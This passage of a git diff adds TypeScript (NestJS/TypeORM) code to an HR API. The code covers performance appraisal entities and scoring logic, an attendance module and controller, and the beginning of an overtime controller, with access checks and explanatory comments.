+ @Column({ type: "uuid", name: "appraisal_id" }) + appraisalId!: string; + + @ManyToOne(() => Appraisal, (appraisal) => appraisal.ratings) + @JoinColumn({ name: "appraisal_id" }) + appraisal?: Appraisal; + + @Column({ type: "uuid", name: "criterion_id", nullable: true }) + criterionId?: string | null; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + /** Copied from the criterion, so the form the review used is preserved. */ + @Column({ type: "numeric", precision: 6, scale: 2, name: "weight" }) + weight!: string; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "max_score" }) + maxScore!: string; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true }) + selfScore?: string | null; + + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "manager_score", + nullable: true, + }) + managerScore?: string | null; + + @Column({ type: "varchar", length: 1024, name: "self_comment", nullable: true }) + selfComment?: string | null; + + @Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true }) + managerComment?: string | null; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} + +/** + * An objective agreed at the start of the cycle and rated at the end. + * + * `achievementPercent` allows up to 200: exceeding a target is a real outcome, + * and capping it at 100 would erase the difference between meeting a goal and + * doubling it. + */ +@Entity({ schema: "hr", name: "appraisal_goals" }) +export class AppraisalGoal { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "appraisal_id" }) + appraisalId!: string; + + @ManyToOne(() => Appraisal, (appraisal) => appraisal.goals) + @JoinColumn({ name: "appraisal_id" }) + appraisal?: Appraisal; + + @Column({ type: "varchar", length: 256, name: "title" }) + title!: string; + + @Column({ type: "varchar", length: 2048, name: "description", nullable: true }) + description?: string | null; + + @Column({ type: "varchar", length: 256, name: "target", nullable: true }) + target?: string | null; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "weight", nullable: true }) + weight?: string | null; + + @Column({ + type: "numeric", + precision: 6, + scale: 2, + name: "achievement_percent", + nullable: true, + }) + achievementPercent?: string | null; + + @Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true }) + managerComment?: string | null; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} diff --git a/apps/edr-hr-api/src/modules/appraisal/services/appraisal.service.ts b/apps/edr-hr-api/src/modules/appraisal/services/appraisal.service.ts new file mode 100644 index 000000000..4f57ea026 --- /dev/null +++ b/apps/edr-hr-api/src/modules/appraisal/services/appraisal.service.ts @@ -0,0 +1,635 @@ +import { + BadRequestException, + ConflictException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource, InjectRepository } from "@nestjs/typeorm"; +import { DataSource, Repository } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { + Appraisal, + AppraisalCriterion, + AppraisalCycle, + AppraisalGoal, + AppraisalRating, + AppraisalTemplate, + EAppraisalStatus, + ECycleStatus, + RatingBand, +} from "../entities/appraisal.entity"; +import { + CreateCycleDto, + CreateTemplateDto, + SubmitManagerDto, + SubmitSelfDto, +} from "../dto/appraisal.dto"; + +const round2 = (value: number): number => + Math.round((value + Number.EPSILON) * 100) / 100; + +/** Weights must total this. Anything else makes scores incomparable. */ +const REQUIRED_WEIGHT_TOTAL = 100; + +@Injectable() +export class AppraisalService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + @InjectRepository(AppraisalTemplate) + private readonly templates: Repository, + @InjectRepository(AppraisalCriterion) + private readonly criteria: Repository, + @InjectRepository(AppraisalCycle) + private readonly cycles: Repository, + @InjectRepository(Appraisal) + private readonly appraisals: Repository, + @InjectRepository(AppraisalGoal) + private readonly goals: Repository, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + // ── Templates ───────────────────────────────────────────────────────────── + + async createTemplate( + dto: CreateTemplateDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + const clash = await this.templates.findOne({ + where: { organizationId, code: dto.code }, + }); + if (clash) { + throw new ConflictException(`Template ${dto.code} already exists`); + } + + AppraisalService.assertWeights(dto.criteria.map((c) => Number(c.weight))); + AppraisalService.assertBands(dto.ratingBands ?? []); + + const template = await this.templates.save( + this.templates.create({ + organizationId, + code: dto.code, + name: dto.name, + description: dto.description, + maxScore: dto.maxScore ?? "5.00", + ratingBands: dto.ratingBands ?? [], + requiresSelfAssessment: dto.requiresSelfAssessment ?? true, + requiresAcknowledgement: dto.requiresAcknowledgement ?? true, + createdBy: actor.userId, + } as unknown as Partial), + ); + + let order = 10; + for (const criterion of dto.criteria) { + await this.criteria.save( + this.criteria.create({ + templateId: template.id, + code: criterion.code, + name: criterion.name, + description: criterion.description, + category: criterion.category ?? null, + weight: criterion.weight, + sortOrder: order, + } as unknown as Partial), + ); + order += 10; + } + + return this.getTemplate(template.id, actor); + } + + async getTemplate(id: string, actor: ActorContext): Promise { + const template = await this.templates.findOne({ + where: { id }, + relations: { criteria: true }, + }); + if (!template) throw new NotFoundException(`Template ${id} not found`); + const scope = orgScope(actor); + if (scope && template.organizationId !== scope) { + throw new NotFoundException(`Template ${id} not found`); + } + template.criteria?.sort((a, b) => a.sortOrder - b.sortOrder); + return template; + } + + listTemplates(actor: ActorContext): Promise { + const scope = orgScope(actor) ?? actor.organizationId; + return this.templates.find({ + where: scope ? { organizationId: scope } : {}, + relations: { criteria: true }, + order: { code: "ASC" }, + }); + } + + // ── Cycles ──────────────────────────────────────────────────────────────── + + async createCycle(dto: CreateCycleDto, actor: ActorContext): Promise { + const organizationId = this.requireOrg(actor); + const template = await this.getTemplate(dto.templateId, actor); + + const clash = await this.cycles.findOne({ + where: { organizationId, code: dto.code }, + }); + if (clash) throw new ConflictException(`Cycle ${dto.code} already exists`); + + if (!template.criteria?.length) { + throw new BadRequestException( + `${template.code} has no criteria, so nothing could be scored.`, + ); + } + + return this.cycles.save( + this.cycles.create({ + ...dto, + organizationId, + status: ECycleStatus.DRAFT, + createdBy: actor.userId, + } as unknown as Partial), + ); + } + + /** + * Open a cycle and create an appraisal for everyone in scope. + * + * The template's criteria are COPIED onto each appraisal as ratings. Joining + * to the template instead would mean editing it a year later silently restated + * reviews that had already been signed. + */ + async openCycle( + id: string, + employeeIds: string[] | undefined, + actor: ActorContext, + ): Promise<{ cycle: AppraisalCycle; created: number; skipped: number }> { + const cycle = await this.requireCycle(id, actor); + if (cycle.status !== ECycleStatus.DRAFT && cycle.status !== ECycleStatus.OPEN) { + throw new BadRequestException( + `This cycle is ${cycle.status.toLowerCase()} and cannot be opened.`, + ); + } + const template = await this.getTemplate(cycle.templateId, actor); + + // Default population: everyone with an HR profile in this organization who + // is actually employed. A terminated employee is not appraised. + const targets = employeeIds ?? (await this.eligibleEmployees(cycle.organizationId)); + + let created = 0; + let skipped = 0; + + for (const employeeId of targets) { + const existing = await this.appraisals.findOne({ + where: { cycleId: cycle.id, employeeId }, + }); + if (existing) { + skipped += 1; + continue; + } + + const profile = await this.employees.findByEmployeeId(employeeId); + if (!profile) { + skipped += 1; + continue; + } + + const appraiser = + profile.managerEmployeeId ?? + (await this.iamDirectory.findLineManagerEmployeeId(employeeId)); + + await this.dataSource.transaction(async (manager) => { + const appraisal = await manager.getRepository(Appraisal).save( + manager.getRepository(Appraisal).create({ + organizationId: cycle.organizationId, + cycleId: cycle.id, + employeeId, + appraiserEmployeeId: appraiser, + status: template.requiresSelfAssessment + ? EAppraisalStatus.PENDING_SELF + : EAppraisalStatus.PENDING_MANAGER, + createdBy: actor.userId, + } as Partial), + ); + + for (const criterion of template.criteria ?? []) { + await manager.getRepository(AppraisalRating).save( + manager.getRepository(AppraisalRating).create({ + appraisalId: appraisal.id, + criterionId: criterion.id, + code: criterion.code, + name: criterion.name, + weight: criterion.weight, + maxScore: template.maxScore, + sortOrder: criterion.sortOrder, + } as Partial), + ); + } + }); + created += 1; + } + + await this.cycles.update(cycle.id, { + status: ECycleStatus.OPEN, + updatedBy: actor.userId, + }); + + return { cycle: await this.requireCycle(id, actor), created, skipped }; + } + + async closeCycle(id: string, actor: ActorContext): Promise { + const cycle = await this.requireCycle(id, actor); + if (cycle.status !== ECycleStatus.OPEN) { + throw new BadRequestException( + `Only an open cycle can be closed; this one is ${cycle.status.toLowerCase()}.`, + ); + } + await this.cycles.update(id, { + status: ECycleStatus.CLOSED, + updatedBy: actor.userId, + }); + return this.requireCycle(id, actor); + } + + listCycles(actor: ActorContext): Promise { + const scope = orgScope(actor) ?? actor.organizationId; + return this.cycles.find({ + where: scope ? { organizationId: scope } : {}, + relations: { template: true }, + order: { periodStart: "DESC" }, + }); + } + + /** How far a cycle has got — counts by status. */ + async cycleProgress(id: string, actor: ActorContext): Promise> { + const cycle = await this.requireCycle(id, actor); + const rows = await this.appraisals + .createQueryBuilder("appraisal") + .select("appraisal.status", "status") + .addSelect("COUNT(*)", "count") + .where("appraisal.cycle_id = :id", { id: cycle.id }) + .groupBy("appraisal.status") + .getRawMany<{ status: string; count: string }>(); + return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)])); + } + + // ── Appraisals ──────────────────────────────────────────────────────────── + + async findOne(id: string, actor: ActorContext): Promise { + const appraisal = await this.appraisals.findOne({ + where: { id }, + relations: { ratings: true, goals: true, cycle: true }, + }); + if (!appraisal) throw new NotFoundException(`Appraisal ${id} not found`); + const scope = orgScope(actor); + if (scope && appraisal.organizationId !== scope) { + throw new NotFoundException(`Appraisal ${id} not found`); + } + appraisal.ratings?.sort((a, b) => a.sortOrder - b.sortOrder); + appraisal.goals?.sort((a, b) => a.sortOrder - b.sortOrder); + return appraisal; + } + + async findMine(actor: ActorContext): Promise { + if (!actor.employeeId) return []; + return this.appraisals.find({ + where: { employeeId: actor.employeeId }, + relations: { cycle: true }, + order: { createdAt: "DESC" }, + }); + } + + async findAwaitingMe(actor: ActorContext): Promise { + if (!actor.employeeId) return []; + return this.appraisals.find({ + where: { + appraiserEmployeeId: actor.employeeId, + status: EAppraisalStatus.PENDING_MANAGER, + }, + relations: { cycle: true }, + order: { createdAt: "ASC" }, + }); + } + + async findAll( + filters: { cycleId?: string; status?: EAppraisalStatus; page?: number; limit?: number }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.appraisals + .createQueryBuilder("appraisal") + .leftJoinAndSelect("appraisal.cycle", "cycle"); + const scope = orgScope(actor); + if (scope) qb.andWhere("appraisal.organization_id = :scope", { scope }); + if (filters.cycleId) { + qb.andWhere("appraisal.cycle_id = :cycleId", { cycleId: filters.cycleId }); + } + if (filters.status) { + qb.andWhere("appraisal.status = :status", { status: filters.status }); + } + const [items, total] = await qb + .orderBy("appraisal.createdAt", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + /** + * The employee's own assessment. + * + * Scores are recorded but do NOT decide the outcome — the manager's do. Self + * assessment exists so the two views can be compared, which is the point of + * asking for it at all. + */ + async submitSelf( + id: string, + dto: SubmitSelfDto, + actor: ActorContext, + ): Promise { + const appraisal = await this.findOne(id, actor); + if (appraisal.employeeId !== actor.employeeId) { + throw new ForbiddenException("This is not your appraisal."); + } + if (appraisal.status !== EAppraisalStatus.PENDING_SELF) { + throw new BadRequestException( + `Self assessment is not open — this appraisal is ` + + `${appraisal.status.toLowerCase().replace(/_/g, " ")}.`, + ); + } + + const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating])); + const missing = (appraisal.ratings ?? []).filter( + (rating) => !byCode.has(rating.code), + ); + if (missing.length > 0) { + throw new BadRequestException( + `Every criterion needs a score. Missing: ${missing + .map((rating) => rating.code) + .join(", ")}.`, + ); + } + + await this.dataSource.transaction(async (manager) => { + for (const rating of appraisal.ratings ?? []) { + const input = byCode.get(rating.code)!; + AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code); + await manager.getRepository(AppraisalRating).update(rating.id, { + selfScore: input.score.toFixed(2), + selfComment: input.comment ?? null, + }); + } + + const selfScore = AppraisalService.weightedScore( + (appraisal.ratings ?? []).map((rating) => ({ + weight: Number(rating.weight), + maxScore: Number(rating.maxScore), + score: byCode.get(rating.code)!.score, + })), + ); + + await manager.getRepository(Appraisal).update(appraisal.id, { + selfScore: selfScore.toFixed(2), + selfComment: dto.comment ?? null, + selfSubmittedAt: new Date(), + status: EAppraisalStatus.PENDING_MANAGER, + updatedBy: actor.userId, + }); + }); + + return this.findOne(id, actor); + } + + /** + * The manager's assessment, which decides the outcome. + * + * Nobody appraises themselves, whatever permission they hold — that is the one + * rule an appraisal process exists to enforce. + */ + async submitManager( + id: string, + dto: SubmitManagerDto, + actor: ActorContext, + ): Promise { + const appraisal = await this.findOne(id, actor); + if (appraisal.status !== EAppraisalStatus.PENDING_MANAGER) { + throw new BadRequestException( + `Manager assessment is not open — this appraisal is ` + + `${appraisal.status.toLowerCase().replace(/_/g, " ")}.`, + ); + } + if (appraisal.employeeId === actor.employeeId) { + throw new ForbiddenException("You cannot appraise yourself."); + } + + const cycle = await this.requireCycle(appraisal.cycleId, actor); + const template = await this.getTemplate(cycle.templateId, actor); + + const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating])); + const missing = (appraisal.ratings ?? []).filter( + (rating) => !byCode.has(rating.code), + ); + if (missing.length > 0) { + throw new BadRequestException( + `Every criterion needs a score. Missing: ${missing + .map((rating) => rating.code) + .join(", ")}.`, + ); + } + + const managerScore = AppraisalService.weightedScore( + (appraisal.ratings ?? []).map((rating) => { + const input = byCode.get(rating.code)!; + AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code); + return { + weight: Number(rating.weight), + maxScore: Number(rating.maxScore), + score: input.score, + }; + }), + ); + + const rating = AppraisalService.bandFor(managerScore, template.ratingBands); + // Acknowledgement is where the employee gets to reply. Skipping it when the + // template does not require one completes the review immediately. + const nextStatus = template.requiresAcknowledgement + ? EAppraisalStatus.PENDING_ACKNOWLEDGEMENT + : EAppraisalStatus.COMPLETED; + + await this.dataSource.transaction(async (manager) => { + for (const existing of appraisal.ratings ?? []) { + const input = byCode.get(existing.code)!; + await manager.getRepository(AppraisalRating).update(existing.id, { + managerScore: input.score.toFixed(2), + managerComment: input.comment ?? null, + }); + } + for (const goal of dto.goals ?? []) { + if (!goal.id) continue; + await manager.getRepository(AppraisalGoal).update(goal.id, { + achievementPercent: + goal.achievementPercent !== undefined + ? goal.achievementPercent.toFixed(2) + : null, + managerComment: goal.comment ?? null, + }); + } + await manager.getRepository(Appraisal).update(appraisal.id, { + managerScore: managerScore.toFixed(2), + // The manager's score IS the final score. Averaging it with the + // employee's own would let anyone raise their result by rating + // themselves highly. + finalScore: managerScore.toFixed(2), + finalRating: rating, + managerComment: dto.comment ?? null, + managerSubmittedAt: new Date(), + acknowledgedAt: nextStatus === EAppraisalStatus.COMPLETED ? new Date() : null, + status: nextStatus, + updatedBy: actor.userId, + }); + }); + + return this.findOne(id, actor); + } + + /** The employee's right of reply. Cannot change the score. */ + async acknowledge( + id: string, + comment: string | undefined, + actor: ActorContext, + ): Promise { + const appraisal = await this.findOne(id, actor); + if (appraisal.employeeId !== actor.employeeId) { + throw new ForbiddenException("This is not your appraisal."); + } + if (appraisal.status !== EAppraisalStatus.PENDING_ACKNOWLEDGEMENT) { + throw new BadRequestException( + `There is nothing to acknowledge — this appraisal is ` + + `${appraisal.status.toLowerCase().replace(/_/g, " ")}.`, + ); + } + await this.appraisals.update(id, { + employeeComment: comment ?? null, + acknowledgedAt: new Date(), + status: EAppraisalStatus.COMPLETED, + updatedBy: actor.userId, + }); + return this.findOne(id, actor); + } + + async addGoal( + appraisalId: string, + dto: { title: string; description?: string; target?: string; weight?: string }, + actor: ActorContext, + ): Promise { + const appraisal = await this.findOne(appraisalId, actor); + if (appraisal.status === EAppraisalStatus.COMPLETED) { + throw new BadRequestException( + "This appraisal is complete; goals cannot be added to it now.", + ); + } + const count = await this.goals.count({ where: { appraisalId } }); + return this.goals.save( + this.goals.create({ + appraisalId, + ...dto, + sortOrder: (count + 1) * 10, + } as unknown as Partial), + ); + } + + // ──────────────────────────────────────────────────────────────────────── + + /** + * The weighted percentage. + * + * Each criterion contributes `score / maxScore × weight`. With weights totalling + * 100 the result is directly a percentage, which is why the total is enforced. + */ + static weightedScore( + entries: { weight: number; maxScore: number; score: number }[], + ): number { + const total = entries.reduce((sum, entry) => { + if (entry.maxScore <= 0) return sum; + return sum + (entry.score / entry.maxScore) * entry.weight; + }, 0); + return round2(Math.min(100, Math.max(0, total))); + } + + /** The band a percentage falls in. Highest matching band wins. */ + static bandFor(score: number, bands: RatingBand[]): string | null { + const sorted = [...(bands ?? [])].sort((a, b) => b.min - a.min); + const band = sorted.find((entry) => score >= entry.min); + return band?.label?.en ?? null; + } + + private static assertWeights(weights: number[]): void { + if (weights.length === 0) { + throw new BadRequestException("A template needs at least one criterion."); + } + const total = round2(weights.reduce((sum, weight) => sum + weight, 0)); + if (total !== REQUIRED_WEIGHT_TOTAL) { + throw new BadRequestException( + `Criterion weights must total ${REQUIRED_WEIGHT_TOTAL}, not ${total}. ` + + "Otherwise a score cannot be read as a percentage or compared between " + + "employees.", + ); + } + } + + private static assertBands(bands: RatingBand[]): void { + for (const band of bands) { + if (band.min < 0 || band.min > 100) { + throw new BadRequestException( + `Rating band "${band.label?.en}" starts at ${band.min}; bands are ` + + "percentages between 0 and 100.", + ); + } + } + } + + private static assertScore(score: number, maxScore: number, code: string): void { + if (score < 0 || score > maxScore) { + throw new BadRequestException( + `${code} scored ${score}, but the scale runs 0 to ${maxScore}.`, + ); + } + } + + /** Employed people with an HR profile — a terminated employee is not appraised. */ + private async eligibleEmployees(organizationId: string): Promise { + const rows = await this.dataSource.query<{ employeeId: string }[]>( + `SELECT p."employee_id" AS "employeeId" + FROM hr.employee_profiles p + JOIN iam.employees e ON e.id = p."employee_id" + WHERE p."deleted_at" IS NULL + AND e."organization_id" = $1::uuid + AND p."employment_state" NOT IN ('TERMINATED','RETIRED')`, + [organizationId], + ); + return rows.map((row) => row.employeeId); + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and an appraisal template belongs to one.", + ); + } + return organizationId; + } + + private async requireCycle(id: string, actor: ActorContext): Promise { + const cycle = await this.cycles.findOne({ where: { id } }); + if (!cycle) throw new NotFoundException(`Cycle ${id} not found`); + const scope = orgScope(actor); + if (scope && cycle.organizationId !== scope) { + throw new NotFoundException(`Cycle ${id} not found`); + } + return cycle; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/attendance.module.ts b/apps/edr-hr-api/src/modules/attendance/attendance.module.ts new file mode 100644 index 000000000..ae4d7ffb5 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/attendance.module.ts @@ -0,0 +1,71 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { WorkSchedule } from "./entities/work-schedule.entity"; +import { WorkScheduleAssignment } from "./entities/work-schedule-assignment.entity"; +import { AttendanceRecord } from "./entities/attendance-record.entity"; +import { AttendanceRegularization } from "./entities/attendance-regularization.entity"; +import { OvertimeRate, OvertimeRequest } from "./entities/overtime.entity"; +import { + WorkScheduleAssignmentsRepository, + WorkSchedulesRepository, +} from "./repositories/work-schedules.repository"; +import { AttendanceRepository } from "./repositories/attendance.repository"; +import { WorkSchedulesService } from "./services/work-schedules.service"; +import { AttendanceService } from "./services/attendance.service"; +import { AttendanceDayService } from "./services/attendance-day.service"; +import { OvertimeService } from "./services/overtime.service"; +import { RegularizationsService } from "./services/regularizations.service"; +import { WorkSchedulesController } from "./controllers/work-schedules.controller"; +import { AttendanceController } from "./controllers/attendance.controller"; +import { OvertimeController } from "./controllers/overtime.controller"; +import { RegularizationsController } from "./controllers/regularizations.controller"; +import { LeaveModule } from "../leave/leave.module"; +import { EmployeesModule } from "../employees/employees.module"; + +/** + * Module 3.3 slice 1. + * + * Depends on LeaveModule rather than re-deriving the calendar: the working week, + * the holidays and approved leave all live there, and a second implementation + * would eventually disagree with the first about whether a given day was + * workable. + */ +@Module({ + imports: [ + TypeOrmModule.forFeature([ + WorkSchedule, + WorkScheduleAssignment, + AttendanceRecord, + AttendanceRegularization, + OvertimeRate, + OvertimeRequest, + ]), + LeaveModule, + EmployeesModule, + ], + controllers: [ + WorkSchedulesController, + AttendanceController, + OvertimeController, + RegularizationsController, + ], + providers: [ + WorkSchedulesRepository, + WorkScheduleAssignmentsRepository, + AttendanceRepository, + WorkSchedulesService, + AttendanceService, + AttendanceDayService, + OvertimeService, + RegularizationsService, + ], + // Payroll (3.4) prices overtime and absence from these records. + exports: [ + AttendanceService, + WorkSchedulesService, + AttendanceRepository, + OvertimeService, + ], +}) +export class AttendanceModule {} diff --git a/apps/edr-hr-api/src/modules/attendance/controllers/attendance.controller.ts b/apps/edr-hr-api/src/modules/attendance/controllers/attendance.controller.ts new file mode 100644 index 000000000..9cd4781b4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/controllers/attendance.controller.ts @@ -0,0 +1,228 @@ +import { + Body, + Controller, + ForbiddenException, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { hasHrPermission } from "../../../common/hr-permission.util"; +import { AttendanceService } from "../services/attendance.service"; +import { + EAttendanceSource, + EAttendanceStatus, +} from "../entities/attendance-record.entity"; +import { PunchDto, RecordAttendanceDto } from "../dto/attendance.dto"; + +@ApiTags("attendance") +@ApiBearerAuth() +@Controller("attendance") +@HrStaff([ + HR_PERMS.attendance.record, + HR_PERMS.attendance.viewOwn, + HR_PERMS.attendance.viewAll, +]) +export class AttendanceController { + constructor(private readonly attendance: AttendanceService) {} + + @Post("check-in") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ + summary: "Clock in", + description: + "Refuses a second check-in for the same day rather than overwriting the " + + "first — the earliest punch decides lateness. Also refuses a day already " + + "covered by approved leave.", + }) + @ApiResponse({ status: 409, description: "Already checked in, or on leave" }) + checkIn(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) { + const actor = actorFrom(user); + const employeeId = this.resolveTarget(dto.employeeId, actor, user); + return this.attendance.checkIn( + employeeId, + dto.at ? new Date(dto.at) : new Date(), + dto.source ?? EAttendanceSource.WEB, + actor, + dto.notes, + ); + } + + @Post("check-out") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ + summary: "Clock out", + description: + "Settles the day: worked minutes less the scheduled break, lateness past " + + "the grace period, and the resulting status.", + }) + checkOut(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) { + const actor = actorFrom(user); + const employeeId = this.resolveTarget(dto.employeeId, actor, user); + return this.attendance.checkOut( + employeeId, + dto.at ? new Date(dto.at) : new Date(), + dto.source ?? EAttendanceSource.WEB, + actor, + dto.notes, + ); + } + + @Get("today") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "My record for today — what the clock widget shows" }) + today(@CurrentUser() user: TCurrentUser) { + const actor = actorFrom(user); + if (!actor.employeeId) { + throw new ForbiddenException( + "This account has no employee record, so it has no attendance.", + ); + } + return this.attendance.today(actor.employeeId, new Date()); + } + + @Get("mine") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "My attendance over a range" }) + @ApiQuery({ name: "from", required: true }) + @ApiQuery({ name: "to", required: true }) + mine( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + const actor = actorFrom(user); + if (!actor.employeeId) { + throw new ForbiddenException( + "This account has no employee record, so it has no attendance.", + ); + } + return this.attendance.findRange(actor.employeeId, from, to); + } + + @Get("summary") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ + summary: "Counts by status over a range", + description: "Omit employeeId for the whole organisation (needs view-all).", + }) + @ApiQuery({ name: "employeeId", required: false }) + summary( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + @Query("employeeId") employeeId?: string, + ) { + const actor = actorFrom(user); + // Without view-all, the summary is scoped to the caller whatever they ask + // for — otherwise it is an aggregate leak of everyone else's attendance. + const scoped = hasHrPermission(user, HR_PERMS.attendance.viewAll) + ? employeeId + : (actor.employeeId ?? undefined); + return this.attendance.summary(from, to, actor, scoped); + } + + @Get() + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ summary: "All attendance records" }) + @ApiQuery({ name: "employeeId", required: false }) + @ApiQuery({ name: "status", required: false, enum: EAttendanceStatus }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("employeeId") employeeId?: string, + @Query("status") status?: EAttendanceStatus, + @Query("from") from?: string, + @Query("to") to?: string, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.attendance.findAll( + { employeeId, status, from, to, page, limit }, + actorFrom(user), + ); + } + + @Get("employee/:employeeId") + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ summary: "One employee's attendance over a range" }) + forEmployee( + @Param("employeeId", ParseUUIDPipe) employeeId: string, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.attendance.findRange(employeeId, from, to); + } + + @Post("record") + @HrStaff(HR_PERMS.attendance.record) + @ApiOperation({ + summary: "Record a day by hand", + description: + "For an administrator filling a gap. Recorded with source MANUAL so a " + + "report can tell asserted attendance from observed attendance.", + }) + record(@Body() dto: RecordAttendanceDto, @CurrentUser() user: TCurrentUser) { + return this.attendance.recordManually(dto, actorFrom(user)); + } + + @Post("backfill/:employeeId") + @HrStaff(HR_PERMS.attendance.record) + @ApiOperation({ + summary: "Fill in the days nobody punched for", + description: + "Classifies each missing day as a rest day, holiday, approved leave or " + + "absence. Never touches an existing record, so it is safe to re-run.", + }) + @ApiResponse({ status: 201, description: "{ created, skipped, byStatus }" }) + backfill( + @Param("employeeId", ParseUUIDPipe) employeeId: string, + @Query("from") from: string, + @Query("to") to: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.attendance.backfill(employeeId, from, to, actorFrom(user)); + } + + /** + * Punching for somebody else is an administrative act, not self-service. + * Without the record permission the target is always the caller — supplying + * another id is refused rather than quietly ignored, since silently punching + * for the wrong person is worse than an error. + */ + private resolveTarget( + requested: string | undefined, + actor: ReturnType, + user: TCurrentUser, + ): string { + if (!requested || requested === actor.employeeId) { + if (!actor.employeeId) { + throw new ForbiddenException( + "This account has no employee record, so it cannot clock in or out.", + ); + } + return actor.employeeId; + } + if (!hasHrPermission(user, HR_PERMS.attendance.record)) { + throw new ForbiddenException( + "Recording attendance for another employee needs the attendance-record " + + "permission.", + ); + } + return requested; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/controllers/overtime.controller.ts b/apps/edr-hr-api/src/modules/attendance/controllers/overtime.controller.ts new file mode 100644 index 000000000..c3e7b2352 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/controllers/overtime.controller.ts @@ -0,0 +1,199 @@ +import { + Body, + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { OvertimeService } from "../services/overtime.service"; +import { EOvertimeStatus } from "../entities/overtime.entity"; +import { + CreateOvertimeDto, + DecideDto, + RejectDto, + UpdateOvertimeRateDto, +} from "../dto/overtime.dto"; + +@ApiTags("overtime") +@ApiBearerAuth() +@Controller("overtime") +@HrStaff([ + HR_PERMS.attendance.requestOvertime, + HR_PERMS.attendance.approveOvertime, + HR_PERMS.attendance.viewOwn, + HR_PERMS.attendance.viewAll, +]) +export class OvertimeController { + constructor(private readonly overtime: OvertimeService) {} + + @Get("rates") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ + summary: "The premiums paid for each category", + description: + "Visible to anyone who can claim overtime — the multiplier is what their " + + "claim is worth.", + }) + rates(@CurrentUser() user: TCurrentUser) { + return this.overtime.listRates(actorFrom(user)); + } + + @Post("rates/seed-statutory") + @HrStaff(HR_PERMS.attendance.approveOvertime) + @ApiOperation({ + summary: "Seed the statutory premiums", + description: + "Proclamation 1156/2019 Art. 68 — 1.5× ordinary, 1.75× night, 2× on a " + + "rest day, 2.5× on a public holiday. Idempotent; an existing rate is " + + "never lowered back to the floor.", + }) + seed(@CurrentUser() user: TCurrentUser) { + return this.overtime.seedStatutory(actorFrom(user)); + } + + @Patch("rates/:id") + 